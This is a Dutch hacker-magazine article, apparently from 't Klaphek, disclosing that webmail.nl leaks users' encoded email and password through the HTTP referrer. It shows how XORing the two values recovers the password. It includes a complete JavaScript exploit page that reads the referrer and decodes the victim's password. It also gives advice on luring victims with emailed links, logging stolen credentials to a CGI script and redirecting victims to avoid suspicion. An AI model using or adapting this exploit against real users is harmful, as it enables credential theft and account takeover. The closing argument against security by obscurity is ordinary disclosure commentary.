[Home/Nieuws]  [Magazines]  [Meetings]  [Downloads]  [Redaktie]  [Geschiedenis]


Webmail.nl lekt passwords
door Mr Brownstone

Samenvatting
www.webmail.nl is een zogenaamd webmail-portal. Het biedt een browser-interface op een POP3-backend die gebruikers in staat stelt om vanuit een browser hun mail te lezen. Door het invullen van e-mail adres en wachtwoord kan de gebruiker mail van zijn account bij elke provider lezen.
Wanneer in een e-mail een hyperlink wordt opgenomen, en deze hyperlink wordt aangeklikt vanuit Webmail, is de eigenaar van de site waarnaar doorverwezen wordt, in staat om het wachtwoord van de gebruiker te achterhalen.

Hoe het werkt
Wanneer je met behulp van www.webmail.nl je e-mail leest zie je dat in de URL een paar leuke gecodeerde strings zitten, met als namen 'ad', 'pw' en 'tm'. Het vermoeden bestaat natuurlijk meteen dat je e-mail adres en je password hierin verstopt zitten.

Na even rondneuzen kom je terecht op de functie om mail te versturen. Als je nu in het veld 'ad' gaat zitten veranderen kan je het resultaat netjes meteen aflezen in het 'To:' boxje eronder. Erg interessant. Soms leidt 1 bij een digit optellen of aftrekken tot een 'naastgelegen' letter in het alfabet, soms schuift het ook een paar op.

Echt interessant wordt dit pas als blijkt dat wanneer je iemand een mailtje stuurt met een link erin, het gecodeerde e-mail adres en password gewoon in de HTTP-referrer blijven staan. Ze doen bij webmail.nl niet de moeite om de mail te parsen en de links via een lokale redirector te sluizen, zodat dit soort informatie 'binnen' blijft.

Alle logica voor het coderen van het e-mail adres en het password bevindt zich in de Active Server Pages (ASP). Die scripts worden eruit geparsed wanneer de pagina naar je browser gestuurd wordt, dus no way hose dat we daarbij kunnen zonder de site binnen te dringen. Zelf hou ik wel van een black-box approach op z'n tijd - als het op die manier lukt heb je tenminste weer eens bewezen dat security by obscurity inderdaad zinloos is ;-)

Je zal zien dat de codering steeds anders is. Niet alleen wordt er met een andere sleutel gecodeerd, ook steeds met een wisselend algoritme (de ene keer levert een kleine afwijking in een digit slechts een letter verschuiving op, de andere keer zit je meteen 4 of 8 letters verderop). Wat wel opvalt is dat de digits hexadecimaal zijn, maar dat de lower nibble eerst lijkt te komen. Ook is de codering duidelijk afhankelijk van de lokatie van het teken. Dit wordt snel duidelijk door het laten decoderen van codes als 04040404, die niet 4 maal hetzelfde teken opleveren.

Mijn eerste gok was dat het 'tm' veld er iets mee te maken heeft. Dit ruikt natuurlijk al naar 'tijd' en da's altijd een dankbare waarde om voor je encryptie te gebruiken. Nadere inspectie leert dat de waarde van dit veld langzaam afneemt. De dag erna is er sprake van een zekere ontmoediging omdat het weer gestegen lijkt, maar een tabelletje van tijdstippen en waardes van 'tm' maakt alles duidelijk: tm is alleen afhankelijk van het tijdstip, niet van de datum. Het is dus alsof het countertje iedere nacht om 0.00 wordt gereset.

Een simpele formule is dan snel afgeleid:

tm = 2067033450 - 3600 * uur - 60 * minuten - seconden

Het getal 2067033450 is bij benadering, ik heb niet de moeite genomen om de exacte tijd op de server te controleren. Hexadecimaal coderen van tm en vervolgens een afhankelijkheid proberen te vinden levert echter niets op. Bummer.

Al zijn de codering van het e-mail adres en wachtwoord steeds anders, het valt wel op dat er bepaalde afhankelijkheden tussen de twee blijven bestaan. Zo wordt het duidelijk dat het XOR-ren van beide strings altijd een constante waarde oplevert (bij constant e-mail adres en wachtwoord!). Maar als dat zo is, dan wordt het algoritme dus gereset tussen het coderen van e-mail adres en wachtwoord. In andere woorden, een teken op plaats x van het e-mail adres wordt hetzelfde gecodeerd als een teken op plaats x van het wachtwoord. Als je de codes voor ad en pw verwisselt zal je dan ook zien dat het To: veld ineens je wachtwoord bevat!

Het gebruikte algoritme kan ons nu niet echt veel meer schelen. Er geldt namelijk het volgende:

plainEmail XOR secretKey = codedEmail
plainPassw XOR secretKey = codedPassw

2 vergelijkingen met 5 variabelen. Wat we niet weten is secretKey, en wat we willen weten is codedPassw. XOR is echter een operatie waarvoor leuke dingen gelden:

Als x XOR y = z        dan  x = y XOR z     en   x = z XOR y

Tevens geldt altijd:        x XOR x = 0

En dus ook:                 x XOR 0 = x

En dan krijgen we dus het volgende:

codedPassw XOR codedEmail = (plainEmail XOR secretKey) XOR (plainPassw                               XOR secretKey)

codedPassw XOR codedEmail = plainEmail XOR plainPassw XOR secretKey XOR                               secretKey

codedPassw XOR codedEmail = plainEmail XOR plainPassw

codedPassw XOR codedEmail XOR plainEmail = plainPassw

En dan zijn we er wel. Die drie weten we namelijk.

codedEmail en codedPassw vind je in de HTTP_REFERRER. plainEmail moet je even weten natuurlijk. Omdat je je victims een mailtje moet sturen is dat sowieso wel handig. Je kan het gewoon als argument meegeven aan je target-URL. Jammer dat webmail de link afbreekt op een apestaartje, dus dat moet je wel even escapen. Ik heb hier twee puntjes gebruikt. Als je dat nog te opvallend vindt dan codeer je het even (URLencode voor domme victims, heftige XOR algoritmes samen met een hoop onzin als je een wannabe hacker te grazen wilt nemen).
Als je maar 1 victim hebt dan kan je het e-mail adres natuurlijk hardcoden in de exploit.
Vervolgens wacht je dus tot je victim op vakantie gaat en een uurtje voor vertrek breng je hem op de hoogte van de mooie webmail.nl site. Alles wat je dan nog te doen staat is een mailtje sturen, een biertje uit de koelkast pakken en naar je logfile gaan zitten staren.

Een javascript based exploit dat bovenstaand verhaal demonstreert staat hieronder. Mooi is natuurlijk als je de boel naar een CGI-tje stuurt en dan in een logfile wegschrijft. Daarna stuur je gewoon een browser-redirect naar xxx.com, om je victim niet achterdochtig te maken.

<html>
<head><title>Webmail Exploit</title></head>
<body>
<script language="javascript">
<!--

// Gebruik:
// 1. Stuur een e-mail met daarin een link naar
// http://site.com/thispage.html?victim..host.com
// (Vervang @ met .. in e-mail adres)
// 2. Hoop dat victim webmail.nl gebruikt en op de link klikt

var plainEmail = new String ('');
var codedEmail = new String ('');
var codedPw    = new String ('');
var plainPw    = new String ('');
var rc = 0;
var off2;

// Input ophalen

var off = document.referrer.lastIndexOf ("ad=");
if (off == -1)
rc = 1;

if (!rc)
{
codedEmail = document.referrer.substr (off+3);
off = codedEmail.indexOf ('&');
if (off == -1)
rc = 2;
}
if (!rc)
{
codedPw = codedEmail.substr (off+4);
codedEmail = codedEmail.substring (0, off);
off = codedPw.indexOf ('&');
if (off == -1)
rc = 3;
}
if (!rc)
{
codedPw = codedPw.substring (0, off);
off = document.location.href.indexOf ("addr=");
if (off == -1)
rc = 4;
}
if (!rc)
{
plainEmail = document.location.href.substr (off+5);
off2 = plainEmail.indexOf ("..");
if (off2 == -1)
rc = 5;
}
if (!rc)
{
plainEmail = document.location.href.substring (off+5, off+off2+5)
+ '@' + document.location.href.substr (off+off2+7);
}

// Decoderen password

if (!rc)
{
var i = 0;
var j = 0;
var d1, d2;
var hex1, hex2, hex3, hex4;
var hexDigits = new String ('0123456789ABCDEF');
var c;

for (i=0; i < codedPw.length; i+=2)
{
c = codedEmail.charAt (i);
hex1 = hexDigits.indexOf (c);
c = codedEmail.charAt (i+1);
hex1 += 16 * hexDigits.indexOf (c);
c = codedPw.charAt (i);
hex2 = hexDigits.indexOf (c);
c = codedPw.charAt (i+1);
hex2 += 16 * hexDigits.indexOf (c);
hex3 = plainEmail.charCodeAt (j);
hex4 = hex1 ^ hex2 ^ hex3;
plainPw = plainPw + String.fromCharCode (hex4);
j++;
}
}

if (!rc)
document.write ("Hallo " + plainEmail + ". Uw password is " + plainPw);
else
document.write ('Deze pagina doet alleen iets wanneer u er komt via <a href="www.webmail.nl">www.webmail.nl</a>!');
// -->
</script>
</body>
</html>

Nawoord
Zo zie je maar weer, een systeem beveiligen is moeilijker dan je denkt. Een hoop mensen denken dit wel even te kunnen, en hun systeem is gebaseerd op "geheime" algoritmes en obscure constructies. Een echte hacker komt er toch wel achter en vindt dan meestal uit dat het systeem niks voorstelt. Als je een bedrijf vraagt hoe hun systeem beveiligd is dan willen ze dit vaak niet kwijt. Als het bedrijf ook nog eens je persoonlijke gegevens moet beveiligen (zoals een bank of overheid, maar ook zoals in dit geval een gratis e-mail dienst) dan is zo'n geheim systeem een
goede reden om de boel niet te vertrouwen. Een goed beveiligingssysteem kan tot in detail (behalve de geheime sleutels) publiek gemaakt worden, zonder dat er een risico is voor de veiligheid. Sterker nog, het kan getest worden door onafhankelijke experts en iedereen die daar interesse in heeft. Dat werkt toch stukken beter voor het imago van een bedrijf, dan wanneer je een uitleg van je systeem in 't Klaphek terugleest? De enige goede methode om WWW verkeer te beveiligen is door encryptie in je webbrowser te hebben. Als die niet gebruikt wordt, dan is het systeem hoogstwaarschijnlijk zo te kraken.


De informatie in 't Klaphek dient slechts een educatief doel. Gebruik van deze informatie zou strafbaar kunnen zijn. De redaktie wijst iedere verantwoordelijkheid voor gebruik door lezers van de in 't Klaphek opgenomen informatie af. De mening van een auteur weerspiegelt niet noodzakelijkerwijs de mening van de redaktie of uitgever.